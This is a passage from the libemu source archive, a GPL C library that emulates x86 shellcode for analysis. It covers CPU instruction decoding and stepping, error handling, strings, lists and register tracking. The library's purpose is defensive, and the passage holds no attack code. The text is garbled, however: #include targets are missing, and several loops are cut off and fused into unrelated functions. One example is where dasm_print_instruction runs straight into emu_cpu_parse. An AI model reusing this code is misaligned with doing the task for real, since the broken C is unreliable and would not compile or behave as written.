sizeof(struct emu_cpu)); c->emu = e; c->mem = emu_memory_get(e); int i = 1; if( *((uint8_t *)&i) == 1 ) { logDebug(e,"little endian\n"); for( i = 0; i < 8; i++ ) { c->reg16[i] = (uint16_t *)&c->reg[i]; if( i < 4 ) { c->reg8[i] = (uint8_t *)&c->reg[i]; } else { c->reg8[i] = (uint8_t *)&c->reg[i & 3] + 1; } } c->instr.cpu.imm16 = (uint16_t *)((void *)&c->instr.cpu.imm); c->instr.cpu.imm8 = (uint8_t *)&c->instr.cpu.imm; } else { logDebug(e,"big endian\n"); for( i = 0; i < 8; i++ ) { c->reg16[i] = (uint16_t *)&c->reg[i] + 1; if( i < 4 ) { c->reg8[i] = (uint8_t *)&c->reg[i] + 3; } else { c->reg8[i] = (uint8_t *)&c->reg[i & 3] + 2; } } c->instr.cpu.imm16 = (uint16_t *)((void *)&c->instr.cpu.imm + 1); c->instr.cpu.imm8 = (uint8_t *)&c->instr.cpu.imm + 3; } c->instr_string = (char *)malloc(92); c->repeat_current_instr = false; init_prefix_map(); return c; } inline uint32_t emu_cpu_reg32_get(struct emu_cpu *cpu_p, enum emu_reg32 reg) { return cpu_p->reg[reg]; } inline void emu_cpu_reg32_set(struct emu_cpu *cpu_p, enum emu_reg32 reg, uint32_t val) { cpu_p->reg[reg] = val; } inline uint16_t emu_cpu_reg16_get(struct emu_cpu *cpu_p, enum emu_reg16 reg) { return *cpu_p->reg16[reg]; } inline void emu_cpu_reg16_set(struct emu_cpu *cpu_p, enum emu_reg16 reg, uint16_t val) { *cpu_p->reg16[reg] = val; } inline uint8_t emu_cpu_reg8_get(struct emu_cpu *cpu_p, enum emu_reg8 reg) { return *cpu_p->reg8[reg]; } inline void emu_cpu_reg8_set(struct emu_cpu *cpu_p, enum emu_reg8 reg, uint8_t val) { *cpu_p->reg8[reg] = val; } uint32_t emu_cpu_eflags_get(struct emu_cpu *c) { return c->eflags; } void emu_cpu_eflags_set(struct emu_cpu *c, uint32_t val) { c->eflags = val; } void emu_cpu_eip_set(struct emu_cpu *c, uint32_t val) { c->eip = val; c->repeat_current_instr = false; } uint32_t emu_cpu_eip_get(struct emu_cpu *c) { return c->eip; } void emu_cpu_free(struct emu_cpu *c) { free(c->instr_string); free(c); } void emu_cpu_debug_print(struct emu_cpu *c) { logDebug(c->emu,"cpu state eip=0x%08x\n", c->eip); logDebug(c->emu,"eax=0x%08x ecx=0x%08x edx=0x%08x ebx=0x%08x\n", c->reg[eax], c->reg[ecx], c->reg[edx], c->reg[ebx]); logDebug(c->emu,"esp=0x%08x ebp=0x%08x esi=0x%08x edi=0x%08x\n", c->reg[esp], c->reg[ebp], c->reg[esi], c->reg[edi]); char *fmsg; fmsg = (char *)malloc(32*3+1); memset(fmsg, 0, 32*3+1); int i; for ( i=0;i<32;i++ ) { if ( CPU_FLAG_ISSET(c, i) ) { strcat(fmsg, eflagm[i]); strcat(fmsg," "); } } logDebug(c->emu,"Flags: %s\n", fmsg); free(fmsg); return; for (i=0; i<8; i++) { printf("%08x ",c->reg[esp] + i * 4); } printf("\n"); for (i=0; i<8; i++) { uint32_t d; emu_memory_read_dword(c->mem, c->reg[esp] + i * 4, &d); printf("%08x ",d); } printf("\n"); } void debug_instruction(struct emu_instruction *ei) { struct emu_cpu_instruction *i = &ei->cpu; struct emu_cpu_instruction_info *ii; if( i->opc == 0x0f ) ii = &ii_twobyte[i->opc_2nd]; else ii = &ii_onebyte[i->opc]; printf("%s ", ii->name); if( ii->format.modrm_byte != 0 ) { if( ii->format.modrm_byte == II_XX_YYY_REG ) { printf("%s", regm[i->modrm.reg]); } else if( ii->format.modrm_byte == II_XX_REG1_REG2 ) { printf("%s,%s", regm[i->modrm.reg1], regm[i->modrm.reg2]); } else if( ii->format.modrm_byte == II_MOD_REG_RM || ii->format.modrm_byte == II_MOD_YYY_RM ) { if( ii->format.modrm_byte == II_MOD_REG_RM ) { printf("%s,", regm[i->modrm.opc]); } if( i->modrm.mod == 3 ) { printf("%s", regm[i->modrm.rm]); } else { printf("["); if( i->modrm.rm != 4 && !(i->modrm.mod == 0 && i->modrm.rm == 5) ) printf("%s", regm[i->modrm.rm]); if( i->modrm.rm == 4 ) /* sib? */ { if( i->modrm.sib.base != 5 ) { printf("%s", regm[i->modrm.sib.base]); } else { if( i->modrm.mod != 0 ) { printf("%s", regm[ebp]); } } if( i->modrm.sib.index != 4 ) { printf("+%s", regm[i->modrm.sib.index]); if( i->modrm.sib.scale > 0 ) { printf("*%d", scalem[i->modrm.sib.scale]); } } } if( i->modrm.mod == 1 ) /* disp8 */ { printf("+0x%02x", i->modrm.disp.s8); } else if( i->modrm.mod == 2 ) /* disp32 */ { printf("+0x%08x", i->modrm.disp.s32); } printf("]"); printf(" (ea=0x%08x)", i->modrm.ea); } } } if( ii->format.imm_data != 0 ) { } printf("\n"); // return; if (ei->is_fpu) return; // printf("%s\n", int j; bool trace_eflag_need = false; bool trace_eflag_init = false; bool trace_reg_need = false; bool trace_reg_init = false; for (j=0;j<8;j++) { if (ei->track.need.reg[j] != 0) trace_reg_need = true; if ( ei->track.need.eflags & 1 << j) trace_eflag_need = true; if (ei->track.init.reg[j] != 0) trace_reg_init = true; if ( ei->track.init.eflags & 1 << j) trace_eflag_init = true; } if ( trace_eflag_need || trace_reg_need ) { printf("\ttrace:\n"); if ( trace_eflag_need || trace_reg_need ) printf("\t\tneeds \n"); if ( trace_reg_need ) { printf("\t\t\t reg "); for ( j=0;j<8;j++ ) { if ( ei->track.need.reg[j] != 0 ) printf("%s ", regm[j]); } printf("\n"); } if ( trace_eflag_need ) { printf("\t\t\t eflag "); for ( j=0;j<8;j++ ) { if ( ei->track.need.eflags & 1 << j ) printf("%s ", eflagm[j]); } printf("\n"); } } if ( trace_eflag_init || trace_reg_init ) printf("\t\tinits \n"); if ( trace_reg_init ) { printf("\t\t\t reg "); for ( j=0;j<8;j++ ) { if ( ei->track.init.reg[j] != 0 ) printf("%s ", regm[j]); } printf("\n"); } if ( trace_eflag_init ) { printf("\t\t\t eflag "); for ( j=0;j<8;j++ ) { if ( ei->track.init.eflags & 1 << j ) printf("%s ", eflagm[j]); } printf("\n"); } printf("\tsource:\n"); printf("\t\tnormal pos 0x%08x\n", ei->source.norm_pos); if (ei->source.has_cond_pos == 1) printf("\t\tcond pos 0x%08x\n", ei->source.cond_pos); } #undef PREFIX_LOCK #include "libdasm.h" uint32_t dasm_print_instruction(uint32_t eip, uint8_t *data, uint32_t size, char *str) { INSTRUCTION inst; // step 2: fetch instruction- uint32_t instrsize = get_instruction(&inst, data, MODE_32); if( instrsize == 0 ) { // printf("invalid instruction\n"); return 0; } #ifdef DEBUG str[81] = '\0'; memset(str, 0x20, 81); int i; for (i=0;irepeat_current_instr == true) { return 0; } /* TODO make unstatic for threadsafety */ uint8_t byte; uint8_t *opcode; uint32_t ret; c->instr.prefixes = 0; // logDebug(c->emu,"decoding\n"); // emu_cpu_debug_print(c); uint8_t dis[32]; emu_memory_read_block(c->mem,c->eip,dis,32); uint32_t expected_instr_size = 0; if( CPU_DEBUG_FLAG_ISSET(c, instruction_string ) || CPU_DEBUG_FLAG_ISSET(c, instruction_size ) ) { expected_instr_size = dasm_print_instruction(c->eip,dis,0,c->instr_string); } uint32_t eip_before = c->eip; uint32_t eip_after = 0; /* reset the instruction source and track infos, maybe move to a fn and call the fn instead? */ c->instr.source.has_cond_pos = 0; c->instr.track.init.eflags = 0; memset(c->instr.track.init.reg, 0, sizeof(uint32_t) * 8); c->instr.track.init.fpu = 0; c->instr.track.need.eflags = 0; memset(c->instr.track.need.reg, 0, sizeof(uint32_t) * 8); c->instr.track.need.fpu = 0; while( 1 ) { ret = emu_memory_read_byte(c->mem, c->eip++, &byte); if( ret != 0 ) return ret; c->cpu_instr_info = &ii_onebyte[byte]; if( c->cpu_instr_info->function == prefix_fn ) { c->instr.prefixes |= prefix_map[byte]; continue; } else { c->instr.opc = byte; if( c->cpu_instr_info->format.fpu_info == 0 ) { c->instr.is_fpu = 0; c->instr.cpu.opc = c->instr.opc; c->instr.cpu.prefixes = c->instr.prefixes; if( c->instr.cpu.opc == 0x0f ) { ret = emu_memory_read_byte(c->mem, c->eip++, &byte); if( ret != 0 ) return ret; c->instr.cpu.opc_2nd = byte; opcode = &c->instr.cpu.opc_2nd; c->cpu_instr_info = &ii_twobyte[byte]; } else { opcode = &c->instr.cpu.opc; } if ( c->cpu_instr_info->function == 0 ) { emu_strerror_set(c->emu,"opcode %02x not supported\n", c->instr.cpu.opc); emu_errno_set(c->emu, EOPNOTSUPP); /* int y=0; for (y=0;yinstr.cpu.w_bit = *opcode & 1; c->instr.cpu.s_bit = (*opcode >> 1) & 1; /* mod r/m byte? sib/disp */ if( c->cpu_instr_info->format.modrm_byte != 0 ) { ret = emu_memory_read_byte(c->mem, c->eip++, &byte); if( ret != 0 ) return ret; c->instr.cpu.modrm.mod = MODRM_MOD(byte); c->instr.cpu.modrm.opc = MODRM_REGOPC(byte); c->instr.cpu.modrm.rm = MODRM_RM(byte); if( c->cpu_instr_info->format.modrm_byte == II_MOD_REG_RM || c->cpu_instr_info->format.modrm_byte == II_MOD_YYY_RM || c->cpu_instr_info->format.modrm_byte == II_XX_REG1_REG2) /* cases with possible sib/disp*/ { if( c->instr.cpu.modrm.mod != 3 ) { if( c->instr.cpu.modrm.rm != 4 && !(c->instr.cpu.modrm.mod == 0 && c->instr.cpu.modrm.rm == 5) ) { c->instr.cpu.modrm.ea = c->reg[c->instr.cpu.modrm.rm]; TRACK_NEED_REG32(c->instr, c->instr.cpu.modrm.rm); } else c->instr.cpu.modrm.ea = 0; if( c->instr.cpu.modrm.rm == 4 ) /* sib byte present */ { ret = emu_memory_read_byte(c->mem, c->eip++, &byte); if( ret != 0 ) return ret; c->instr.cpu.modrm.sib.base = SIB_BASE(byte); c->instr.cpu.modrm.sib.scale = SIB_SCALE(byte); c->instr.cpu.modrm.sib.index = SIB_INDEX(byte); if( c->instr.cpu.modrm.sib.base != 5 ) { c->instr.cpu.modrm.ea += c->reg[c->instr.cpu.modrm.sib.base]; TRACK_NEED_REG32(c->instr, c->instr.cpu.modrm.sib.base); } else if( c->instr.cpu.modrm.mod != 0 ) { c->instr.cpu.modrm.ea += c->reg[ebp]; TRACK_NEED_REG32(c->instr, ebp); } if( c->instr.cpu.modrm.sib.index != 4 ) { c->instr.cpu.modrm.ea += c->reg[c->instr.cpu.modrm.sib.index] * scalem[c->instr.cpu.modrm.sib.scale]; TRACK_NEED_REG32(c->instr, c->instr.cpu.modrm.sib.index); } } if( c->instr.cpu.modrm.mod == 1 ) /* disp8 */ { ret = emu_memory_read_byte(c->mem, c->eip++, &c->instr.cpu.modrm.disp.s8); if( ret != 0 ) return ret; c->instr.cpu.modrm.ea += (int8_t)c->instr.cpu.modrm.disp.s8; } else if( c->instr.cpu.modrm.mod == 2 || (c->instr.cpu.modrm.mod == 0 && c->instr.cpu.modrm.rm == 5) ) /* disp32 */ { ret = emu_memory_read_dword(c->mem, c->eip, &c->instr.cpu.modrm.disp.s32); c->eip += 4; if( ret != 0 ) return ret; c->instr.cpu.modrm.ea += c->instr.cpu.modrm.disp.s32; } } } } /* */ c->instr.cpu.operand_size = 0; if( c->cpu_instr_info->format.imm_data == II_IMM8 || c->cpu_instr_info->format.disp_data == II_DISP8 ) c->instr.cpu.operand_size = OPSIZE_8; else if( c->cpu_instr_info->format.imm_data == II_IMM16 || c->cpu_instr_info->format.disp_data == II_DISP16 ) c->instr.cpu.operand_size = OPSIZE_16; else if( c->cpu_instr_info->format.imm_data == II_IMM32 || c->cpu_instr_info->format.disp_data == II_DISP32 ) c->instr.cpu.operand_size = OPSIZE_32; else if( c->cpu_instr_info->format.imm_data == II_IMM || c->cpu_instr_info->format.disp_data == II_DISPF || (c->cpu_instr_info->format.type && !c->instr.cpu.modrm.opc)) { if( c->cpu_instr_info->format.w_bit == 1 && c->instr.cpu.w_bit == 0 ) c->instr.cpu.operand_size = OPSIZE_8; else { if( c->instr.cpu.prefixes & PREFIX_OPSIZE ) c->instr.cpu.operand_size = OPSIZE_16; else c->instr.cpu.operand_size = OPSIZE_32; } } /* imm */ if( c->cpu_instr_info->format.imm_data != 0 || (c->cpu_instr_info->format.type && !c->instr.cpu.modrm.opc)) { if( c->instr.cpu.operand_size == OPSIZE_32 ) { ret = emu_memory_read_dword(c->mem, c->eip, &c->instr.cpu.imm); c->eip += 4; } else if( c->instr.cpu.operand_size == OPSIZE_8 ) { ret = emu_memory_read_byte(c->mem, c->eip++, c->instr.cpu.imm8); } else if( c->instr.cpu.operand_size == OPSIZE_16 ) { ret = emu_memory_read_word(c->mem, c->eip, c->instr.cpu.imm16); c->eip += 2; } if( ret != 0 ) return ret; } /* disp */ if( c->cpu_instr_info->format.disp_data != 0 ) { if( c->instr.cpu.operand_size == OPSIZE_32 ) { uint32_t disp32; ret = emu_memory_read_dword(c->mem, c->eip, &disp32); c->instr.cpu.disp = (int32_t)disp32; c->eip += 4; } else if( c->instr.cpu.operand_size == OPSIZE_16 ) { uint16_t disp16; ret = emu_memory_read_word(c->mem, c->eip, &disp16); c->instr.cpu.disp = (int16_t)disp16; c->eip += 2; } else if( c->instr.cpu.operand_size == OPSIZE_8 ) { uint8_t disp8; ret = emu_memory_read_byte(c->mem, c->eip++, &disp8); c->instr.cpu.disp = (int8_t)disp8; } if( ret != 0 ) return ret; } /* TODO level type ... */ } else /* fpu */ { /* this is a minimal parser without exact decomposition * into all fields. instead it determines the length of * the instruction and ignores pretty much everything else * except for a few explicitly implemented instructions. */ c->instr.is_fpu = 1; c->instr.fpu.prefixes = c->instr.prefixes; c->instr.fpu.fpu_data[0] = c->instr.opc; ret = emu_memory_read_byte(c->mem, c->eip++, &c->instr.fpu.fpu_data[1]); if( ret != 0 ) return ret; if( FPU_MOD(c->instr.fpu.fpu_data) != 3 ) /* intel pdf page 36 */ { /* trivial case, one register is ea */ if( FPU_RM(c->instr.fpu.fpu_data) != 4 && !(FPU_MOD(c->instr.fpu.fpu_data) == 0 && FPU_RM(c->instr.fpu.fpu_data) == 5) ) c->instr.fpu.ea = c->reg[FPU_RM(c->instr.fpu.fpu_data)]; else c->instr.fpu.ea = 0; /* sib byte */ if( FPU_RM(c->instr.fpu.fpu_data) == 4 ) { ret = emu_memory_read_byte(c->mem, c->eip++, &byte); if( ret != 0 ) return ret; if( SIB_BASE(byte) != 5 ) { c->instr.fpu.ea += c->reg[SIB_BASE(byte)]; } else if( FPU_MOD(c->instr.fpu.fpu_data) != 0 ) { c->instr.fpu.ea += c->reg[ebp]; } if( SIB_INDEX(byte) != 4 ) { c->instr.fpu.ea += c->reg[SIB_INDEX(byte)] * scalem[SIB_SCALE(byte)]; } } /* modrm */ if( FPU_MOD(c->instr.fpu.fpu_data) == 1 ) { ret = emu_memory_read_byte(c->mem, c->eip++, &byte); if( ret != 0 ) return ret; c->instr.fpu.ea += (int8_t)byte; } else if( FPU_MOD(c->instr.fpu.fpu_data) == 2 || (FPU_MOD(c->instr.fpu.fpu_data) == 0 && FPU_RM(c->instr.fpu.fpu_data) == 5) ) { uint32_t dword; ret = emu_memory_read_dword(c->mem, c->eip, &dword); c->eip += 4; if( ret != 0 ) return ret; c->instr.fpu.ea += dword; } } /*c->instr.fpu.last_instr = c->last_fpu_instr;*/ c->last_fpu_instr[1] = c->last_fpu_instr[0]; c->last_fpu_instr[0] = eip_before; } // logDebug(c->emu,"\n"); eip_after = c->eip; if ( CPU_DEBUG_FLAG_ISSET(c, instruction_size ) && eip_after - eip_before != expected_instr_size) { logDebug(c->emu, "broken instr.cpu size %i %i\n", eip_after - eip_before, expected_instr_size); return -1; } /* the default normal position is behind the instruction, specific instructions as call jmp set their * norm position */ if ( c->instr.is_fpu == 0 ) { SOURCE_NORM_POS(c->instr, c->eip); } else { SOURCE_NORM_POS(c->instr, c->eip); } break; } } return 0; } int32_t emu_cpu_step(struct emu_cpu *c) { int32_t ret = 0; /* call the function */ if( c->instr.is_fpu == 0 ) { if( c->instr.cpu.prefixes & PREFIX_FS_OVR ) { emu_memory_segment_select(c->mem, s_fs); } ret = c->cpu_instr_info->function(c, &c->instr.cpu); if( c->instr.cpu.prefixes & PREFIX_FS_OVR ) { emu_memory_segment_select(c->mem, s_cs); } } else { /* for now we only support three critical instructions. */ if( c->instr.fpu.fpu_data[0] == 0xd9 ) { if( (c->instr.fpu.fpu_data[1] & 0x38) == 0x30 ) { /* fnstenv volume 1, page 230 */ static int null = 0; MEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x00, null); MEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x04, null); MEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x08, null); MEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x0c, c->last_fpu_instr[1]); MEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x10, null); MEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x14, null); MEM_DWORD_WRITE(c, c->instr.fpu.ea + 0x18, null); TRACK_NEED_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION); // TRACK_INIT_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION); } else if( c->instr.fpu.fpu_data[1] == 0xee ) { /* fldz */ TRACK_INIT_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION); } else { // catch all others to init fpu TRACK_INIT_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION); } } else if( c->instr.fpu.fpu_data[0] == 0xdd ) { if( (c->instr.fpu.fpu_data[1] & 0xf8) == 0xc0 ) { /* ffree */ TRACK_INIT_FPU(c->instr, TRACK_FPU_LAST_INSTRUCTION); } } } if (0) debug_instruction(&c->instr); // emu_cpu_debug_print(c); return ret; } int32_t emu_cpu_run(struct emu_cpu *c) { int steps=0; while (emu_cpu_parse(c) == 0) { // printf("%s \n", c->instr_string); if ( emu_cpu_step(c) != 0 ) break; steps++; } // printf("%s \n", emu_strerror(c->emu)); return steps; } void emu_cpu_debugflag_set(struct emu_cpu *c, uint8_t flag) { CPU_DEBUG_FLAG_SET(c, flag); } void emu_cpu_debugflag_unset(struct emu_cpu *c, uint8_t flag) { CPU_DEBUG_FLAG_UNSET(c, flag); } libemu-0.2.0+git20120122+564/src/emu.c0000644000175300017530000000524411706767213015571 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include "emu/emu.h" #include "emu/emu_log.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" struct emu { struct emu_logging *log; struct emu_memory *memory; struct emu_cpu *cpu; int errno; char *errorstr; }; struct emu *emu_new(void) { struct emu *e = (struct emu *)malloc(sizeof(struct emu)); if( e == NULL ) { return NULL; } memset(e, 0, sizeof(struct emu)); e->log = emu_log_new(); e->memory = emu_memory_new(e); if( e->memory == NULL ) { return NULL; } e->cpu = emu_cpu_new(e); logDebug(e,"%s %x\n", __PRETTY_FUNCTION__,(unsigned int)e); return e; } void emu_free(struct emu *e) { logDebug(e,"%s %x\n", __PRETTY_FUNCTION__,(unsigned int)e); emu_cpu_free(e->cpu); emu_memory_free(e->memory); emu_log_free(e->log); if (e->errorstr != NULL) free(e->errorstr); free(e); } inline struct emu_memory *emu_memory_get(struct emu *e) { return e->memory; } inline struct emu_logging *emu_logging_get(struct emu *e) { return e->log; } inline struct emu_cpu *emu_cpu_get(struct emu *e) { return e->cpu; } void emu_errno_set(struct emu *e, int err) { e->errno = err; } int emu_errno(struct emu *c) { return c->errno; } void emu_strerror_set(struct emu *e, const char *format, ...) { if (e->errorstr != NULL) free(e->errorstr); va_list ap; char *message; va_start(ap, format); int va = vasprintf(&message, format, ap); va_end(ap); if (va == -1) return; e->errorstr = message; } const char *emu_strerror(struct emu *e) { return e->errorstr; } libemu-0.2.0+git20120122+564/src/emu_list.c0000644000175300017530000000263311706767213016623 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_list.h" source_list_functions(emu_list, emu_list_root, emu_list_item, link); struct emu_list_item *emu_list_item_create() { struct emu_list_item *eli = malloc(sizeof(struct emu_list_item)); memset(eli, 0, sizeof(struct emu_list_item)); emu_list_init_link(eli); return eli; } libemu-0.2.0+git20120122+564/src/emu_string.c0000644000175300017530000000442011706767213017152 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include "emu/emu_string.h" struct emu_string *emu_string_new(void) { struct emu_string *s = (struct emu_string *)malloc(sizeof(struct emu_string)); if( s == NULL ) { return NULL; } memset(s, 0, sizeof(struct emu_string)); return s; } void emu_string_free(struct emu_string *s) { free(s->data); free(s); } char *emu_string_char(struct emu_string *s) { return (char *)s->data; } #include void emu_string_append_char(struct emu_string *s, const char *data) { // printf("before %i %i|%s|\n", s->size, strlen(data), (char *)s->data); s->data = realloc(s->data, s->size + strlen(data) + 1); memcpy((unsigned char *)s->data + s->size, data, strlen(data)); *(unsigned char *)(s->data + s->size + strlen(data)) = 0; s->size += strlen(data); // printf("after %i |%s|\n", s->size, (char *)s->data); } void emu_string_append_format(struct emu_string *s, const char *format, ...) { va_list ap; char *message; va_start(ap, format); int va = vasprintf(&message, format, ap); va_end(ap); if (va == -1) exit(-1); emu_string_append_char(s, message); free(message); } libemu-0.2.0+git20120122+564/src/emu_track.c0000644000175300017530000001601611706767213016754 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_instruction.h" #include "emu/emu_track.h" #include "emu/emu_source.h" #include "emu/emu_hashtable.h" #include "emu/emu_graph.h" struct emu_track_and_source *emu_track_and_source_new(void) { struct emu_track_and_source *et = (struct emu_track_and_source *)malloc(sizeof(struct emu_track_and_source)); memset(et, 0, sizeof(struct emu_track_and_source)); et->track.reg[esp] = 0xffffffff; return et; } void emu_track_and_source_free(struct emu_track_and_source *et) { if (et->static_instr_table != NULL) emu_hashtable_free(et->static_instr_table); if (et->static_instr_graph != NULL) emu_graph_free(et->static_instr_graph); if (et->run_instr_table != NULL) emu_hashtable_free(et->run_instr_table); if (et->run_instr_graph != NULL) emu_graph_free(et->run_instr_graph); free(et); } void debug_instruction(struct emu_instruction *i); #include "emu/emu_cpu_functions.h" int32_t emu_track_instruction_check(struct emu *e, struct emu_track_and_source *et) { struct emu_cpu *c = emu_cpu_get(e); int i; if (c->instr.is_fpu) { if (c->instr.track.need.fpu > et->track.fpu ) return -1; et->track.fpu |= c->instr.track.init.fpu; }else { // debug_instruction(&c->instr); /* if (c->cpu_instr_info->function == instr_xchg_9x) { uint32_t reg1 = et->reg[eax]; et->reg[eax] = et->reg[c->instr.cpu.opc & 7]; et->reg[c->instr.cpu.opc & 7] = reg1; } */ for (i=0;i<8;i++) { if (i == esp) continue; // printf("0x%08x 0x%08x\n", c->instr.track.need.reg[i], et->track.reg[i]); if (c->instr.track.need.reg[i] > et->track.reg[i]) return -1; } for (i=0;i<8;i++) { // printf("0x%1x 0x%1x\n", (c->instr.track.need.eflags & 1 << i), (et->track.eflags & 1 << i)); if ( (c->instr.track.need.eflags & 1 << i) > (et->track.eflags & 1 << i)) return -1; } for (i=0;i<8;i++) { // printf("reg %i before %08x after %08x\n", i, et->track.reg[i], c->instr.track.init.reg[i]); et->track.reg[i] |= c->instr.track.init.reg[i]; } et->track.eflags |= c->instr.track.init.eflags; } return 0; } struct emu_source_and_track_instr_info *emu_source_and_track_instr_info_new(struct emu_cpu *cpu, uint32_t eip_before_instruction) { struct emu_source_and_track_instr_info *etii = (struct emu_source_and_track_instr_info *)malloc(sizeof(struct emu_source_and_track_instr_info)); if( etii == NULL ) { return NULL; } memset(etii, 0, sizeof(struct emu_source_and_track_instr_info)); etii->eip = eip_before_instruction; if( CPU_DEBUG_FLAG_ISSET(cpu, instruction_string ) || CPU_DEBUG_FLAG_ISSET(cpu, instruction_size ) ) etii->instrstring = strdup(cpu->instr_string); else etii->instrstring = NULL; if ( cpu->instr.is_fpu ) { etii->source.norm_pos = cpu->instr.source.norm_pos; etii->track.init.fpu = cpu->instr.track.init.fpu; }else { etii->source.has_cond_pos = cpu->instr.source.has_cond_pos; etii->source.cond_pos = cpu->instr.source.cond_pos; etii->source.norm_pos = cpu->instr.source.norm_pos; etii->track.init.eflags = cpu->instr.track.init.eflags; memcpy(etii->track.init.reg, cpu->instr.track.init.reg, sizeof(uint32_t)*8); etii->track.need.eflags = cpu->instr.track.need.eflags; memcpy(etii->track.need.reg, cpu->instr.track.need.reg, sizeof(uint32_t)*8); } return etii; } void emu_source_and_track_instr_info_free(struct emu_source_and_track_instr_info *etii) { if (etii->instrstring != NULL) free(etii->instrstring); free(etii); } void emu_source_and_track_instr_info_free_void(void *x) { emu_source_and_track_instr_info_free((struct emu_source_and_track_instr_info *)x); } void emu_tracking_info_diff(struct emu_tracking_info *a, struct emu_tracking_info *b, struct emu_tracking_info *result) { int i; for (i=0;i<8;i++) { result->reg[i] = a->reg[i] & ~b->reg[i]; } result->eflags = a->eflags & ~b->eflags; result->fpu = a->fpu & ~b->fpu; } struct emu_tracking_info *emu_tracking_info_new(void) { struct emu_tracking_info *eti = malloc(sizeof(struct emu_tracking_info)); memset(eti, 0, sizeof(struct emu_tracking_info)); eti->reg[esp] = 0xffffffff; return eti; } void emu_tracking_info_free(struct emu_tracking_info *eti) { free(eti); } void emu_tracking_info_clear(struct emu_tracking_info *eti) { memset(eti, 0, sizeof(struct emu_tracking_info)); eti->reg[esp] = 0xffffffff; } void emu_tracking_info_copy(struct emu_tracking_info *from, struct emu_tracking_info *to) { memcpy(to, from, sizeof(struct emu_tracking_info)); } bool emu_tracking_info_covers(struct emu_tracking_info *a, struct emu_tracking_info *b) { int i; for (i=0;i<8;i++) { if (i == esp) continue; if (b->reg[i] > a->reg[i]) return false; } for (i=0;i<8;i++) { if ( (b->eflags & 1 << i) > (a->eflags & 1 << i)) return false; } if ( b->fpu > a->fpu ) return false; return true; } void emu_tracking_info_debug_print(struct emu_tracking_info *a) { return; static const char *regm32[] = { "eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" }; /* static const char *regm16[] = { "ax", "cx", "dx", "bx", "sp", "bp", "si", "di" }; static const char *regm8[] = { "al", "cl", "dl", "bl", "ah", "ch", "dh", "bh" }; */ /* 0 1 2 3 4 5 6 7 */ const char *eflagm[] = { "CF", " ", "PF", " " , "AF" , " ", "ZF", "SF", "TF", "IF", "DF", "OF" , "IOPL", "IOPL", "NT", " ", "RF", "VM", "AC", "VIF", "RIP" , "ID" , " ", " ", " ", " ", " ", " ", " ", " ", " ", " " }; int i; printf("tracking_info %08x :\n\tregs: ", (unsigned int)(uintptr_t)a); for ( i=0; i<7; i++ ) { if ( a->reg[i] > 0 ) { printf("%s ", regm32[i]); } else { printf(" "); } } printf("\n\tflags:"); for ( i=0; i<8; i++ ) { if ( (a->eflags & 1 << i) ) { printf("%.4s ", eflagm[i]); } else { printf(" "); } } printf("\n\tfpu:"); if (a->fpu) { printf("initialized\n"); }else { printf("\n"); } } libemu-0.2.0+git20120122+564/src/Makefile.am0000644000175300017530000000672511706767213016700 0ustar dt-npbdt-npb# libemu Makefile # Paul Baecher, Markus Koetter # $Id$ AUTOMAKE_OPTIONS = foreign AM_CFLAGS = 